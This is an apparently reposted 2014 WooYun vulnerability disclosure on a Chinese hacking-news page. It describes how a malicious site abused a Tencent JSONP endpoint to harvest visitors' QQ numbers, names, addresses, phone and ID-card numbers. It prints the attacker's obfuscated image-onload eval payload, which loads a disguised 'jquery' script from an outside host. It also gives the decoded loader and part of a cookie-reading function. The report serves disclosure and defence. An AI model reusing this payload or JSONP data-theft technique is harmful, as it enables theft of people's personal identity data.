记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

腾讯某json可获取访客QQ姓名地址电话身份证号等敏感信息

2014-06-26 22:00

网站地址:http://qq.ycddm.cn/qq/

该站引入了一个JS文件,是加载soso的缓存页面,该页面插入了一张图片,图片加了onload参数,会同时加载外部js,此JS文件会获取的用户在soso网站cookie中pt2qquin字段(即QQ号码)的值.

按说获取到这一步就可以了,但是此网站又利用了腾讯的一个json漏洞,继续插入了该页面:

http://cgi.connect.qq.com/qqconnectwebsite/get_dev_info?callback=x2&_=1389422507686

这个页面会返回以下信息:

x2({"retcode":0,"result":"{\"code\":0,\"msg\":\"succ\",\"result\":{\"uin\":QQ号码,\"type\":0,\"name\":\"\\姓名\",\"website\":\"http:\\/\\/网址\",\"mail\":\"邮箱帐号\",\"date\":1306675077,\"addr\":\"地址\",\"contact\":\"\",\"tel\":\"电话\",\"id_card\":\"身份证号码\",\"province_id\":\"-1\",\"city_id\":\"-1\",\"id_card_type\":\"1\",\"dev_check_state\":0,\"idcard_current_state\":\"0\",\"authfile_current_state\":0,\"waitcheck_name\":\"\名字\",\"waitcheck_id_card\":\"身份证号码\",\"waitcheck_mail\":\"邮箱地址\",\"waitcheck_dev_type\":\"0\",\"waitcheck_id_card_type\":null}}"});



接下来,在js里插入一个函数,就能把这些信息全部获取到并了.

希望能抓紧封掉!

漏洞证明:

详细说明中已经说的很完整了,主要问题就是http://cgi.connect.qq.com/qqconnectwebsite/get_dev_info?页面的json的漏洞.

获取到QQ 个人感觉没什么,但是其他的东西太过隐私了.



窃取信息的url:

http://qbview.html5.qq.com/getResourceInfo?url=http://www.qqfangke.com/jump/tdmsqj.html&doview=1&&wid=2337&uid=202350&page=http%253A%252F%252Fqq.ycddm.cn%252Fqq%252F&ref=



http://www.qqfangke.com/jump/tdmsqj.html的内容

<!doctype html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="Generator" content="EditPlus®">

<meta name="Author" content="">

<meta name="Keywords" content="">

<meta name="Description" content="">

<title>Document</title>

</head>

<body>

<img src="http://www.qqfangke.com/img/tmdsqj.jpg" onload="/*wvXbbHSXTBEcpHyTwt*/var/*tKLisTFzPwe*/WVTm/*ncdCgvaIeWDqr*/=/*KxujnvTMrqnmY*/\u0053\u0074\u0072\u0069\u006e\u0067./*XGMDNJyB_H*/\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065;/*ohkBBmSqErtRCUg*/var/*ccWEpinFPHAgN*/gWIRUKM_/*vfSjuCYPPphtgbus*/=/*pLRTAcCAuSNFbB*/\u0065\u0076\u0061\u006c;gWIRUKM_(WVTm(118,97,114,32,72,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,46,105,116,101,109,40,48,41,59,118,97,114,32,83,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,83,46,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,59,83,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,113,113,102,97,110,103,107,101,46,99,111,109,47,106,115,47,115,107,105,110,47,106,113,117,101,114,121,45,49,46,49,48,46,50,46,109,105,110,46,106,115,34,59,72,46,97,112,112,101,110,100,67,104,105,108,100,40,83,41,59));">

</body>

</html>



javascript解密后

var H=document.getElementsByTagName('HEAD').item(0);var S= document.createElement("script");S.type="text/javascript";S.src="http://www.qqfangke.com/js/skin/jquery-1.10.2.min.js";H.appendChild(S);



一个伪装的jquery

function g(n) { var a, r = new RegExp("(^| )"+n+"=([^;]*)(;|$)"); if (a = document.cookie.match(r)) return unescape(a[2]); else return "" } function Request(argname) { var url = document.location.href; var arrStr = url.substring(url.indexOf("?")+1).split("&"); for(var i =0;i





0C47143E-C699-454B-9DE4-4508CD10853D.png

修复方案:

建议及时清理此json漏洞.

知识来源: www.wooyun.org/bugs/wooyun-2014-060377

阅读:85308 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“腾讯某json可获取访客QQ姓名地址电话身份证号等敏感信息”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云